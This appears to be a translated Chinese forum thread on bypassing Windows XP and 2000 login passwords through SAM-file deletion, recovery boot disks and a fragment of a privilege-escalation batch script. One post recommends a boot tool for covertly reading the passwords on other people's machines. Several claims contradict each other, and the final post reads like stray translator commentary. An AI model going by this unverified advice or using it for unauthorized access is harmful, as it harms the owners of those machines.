China DOS Union

What you said is problematic. Deleting sam in XP will make the host unable to log in. It's still okay in 98. I haven't used ME, 2000, NT, but it's not okay in XP. If the sam file is broken, it will make the system fall into an infinite loop. The password cracking tool in MS-DOS can be used, it's an exe file, not large and very convenient. My home http://www.oookillooo.ys168.com/ I will do my best to help with problems. Help give a boost. Thanks.

I don't know how, but it seems that discharging on Winxp might work

Don't be so annoying. Go to DOS, delete the SAM file, and there will be no information set by the original user. You can enter without a password.

This method is effective for Windows 2000, but not for XP and 2003 systems.

This topic has had many versions in relevant magazines and on the internet. Some say it works, some say it doesn't, making people confused and at a loss. It's very necessary to practice!
I remember there was a special introduction in the April issue of Dian Ai Magazine this year! Now there are many people repeating what others say. Most people haven't tried all systems and possible environments on their own computers, or there may be particularities in their own computer situations.

Download the Deep Mountain Red Leaf System Maintenance CD Version V25. There are options on the CD boot system menu to recover passwords.

ghost Elevate Privileges.. Found in the forum.

@rem If username exists, it means running the bat in a terminal login environment. Need to manually enter the pid value.
@rem It's best to manually modify the password first. Execute this program twice. Haha. Mainly because there's no obfuscation. regedit is time-consuming.

What if the GUEST user is disabled? So it's still better to use a dedicated recovery CD to achieve it.

Typing "set" shows the password, which is really stupid.

The function of "set" is to display and set environment variables. Saying it can display the password is really.....

What the 16th floor said is right. Don't post "you can log in by deleting the sam file" again to avoid misleading.

Got it, if I forget the password in the future, there will be a way to get it back.

You can download my USB flash drive system (in the multimedia section). There is a WINXPE in it. After booting, there is a program to directly view the password of the XP system on the hard drive. It is better than cracking the password for two reasons: First, you want to know the password of someone else's machine but don't want others to know that you have touched their machine; Second, NTFS has an encryption function. If you directly clear the password, such as PASSWD under DOS, it may make encrypted files unopenable (not tried, just guessed). So use my system, it is in Chinese version (you can change the language in OPTION). Everyone can try it. I used to like network security very much and got the Network Security Engineer certificate in 2003, but I have never engaged in this kind of work. Let everyone laugh.

Let's try it, whether it's true or false.

Typically, the `SET` command alone won't display passwords directly. Are you sure you're using the right context or there are specific conditions? Let me double - check. Wait, no, according to general usage, the `SET` command doesn't reveal passwords by default. So the translation of your text is: Input SET can see the password??? Why can't I see it?
